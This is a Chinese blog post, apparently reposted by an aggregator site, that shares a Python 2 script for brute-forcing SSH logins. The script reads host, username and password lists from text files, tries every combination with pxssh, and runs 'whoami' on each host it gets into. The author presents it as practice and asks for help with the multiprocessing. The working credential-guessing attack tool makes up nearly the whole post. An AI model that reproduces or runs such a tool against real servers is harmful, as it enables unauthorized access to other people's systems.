ssh爆破(python脚本)
Posted 羊小弟
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ssh爆破(python脚本)相关的知识,希望对你有一定的参考价值。
最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本
#!/usr/local/bin/ python # -*- coding: UTF-8 -*- __author__ = \'yangxiaodi\' from multiprocessing import Pool from pexpect import pxssh import sys reload(sys) sys.setdefaultencoding( "utf-8" ) datas=[] def connect(): cmd = \'whoami\' for data in datas: host = data.split(\':\',2)[0] user = data.split(\':\',2)[1] password = data.split(\':\',2)[2] try: s = pxssh.pxssh(timeout=3) s.login(host,user,password) s.sendline(cmd) s.prompt() print \'[+] ssh host:\'+host+\' user:\'+user+\' password:\'+password+\' 执行命令:\'+s.before except: print u\'错误 [-] ssh host:\'+host+\' user:\'+user+\' password:\'+password def read_file(filepath): f = open(filepath).readlines() return f def get_host_user_pass(): host = read_file(\'host.txt\') for h in host: h = h.replace(\'\\n\',\'\') user = read_file(\'user.txt\') for u in user: u = u.replace(\'\\n\',\'\') passs = read_file(\'pass.txt\') for pas in passs: pas = pas.replace(\'\\n\',\'\') datas.append(h+\':\'+u+\':\'+pas) return True resu = [] get_host_user_pass() p = Pool() resu.append(p.apply_async(connect,args=())) p.close() p.join() for res in resu: print res.get() print \'all subprocesses done.\'
本地要有三个文件 user.txt , host.txt , pass.txt
这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)
以上是关于ssh爆破(python脚本)的主要内容,如果未能解决你的问题,请参考以下文章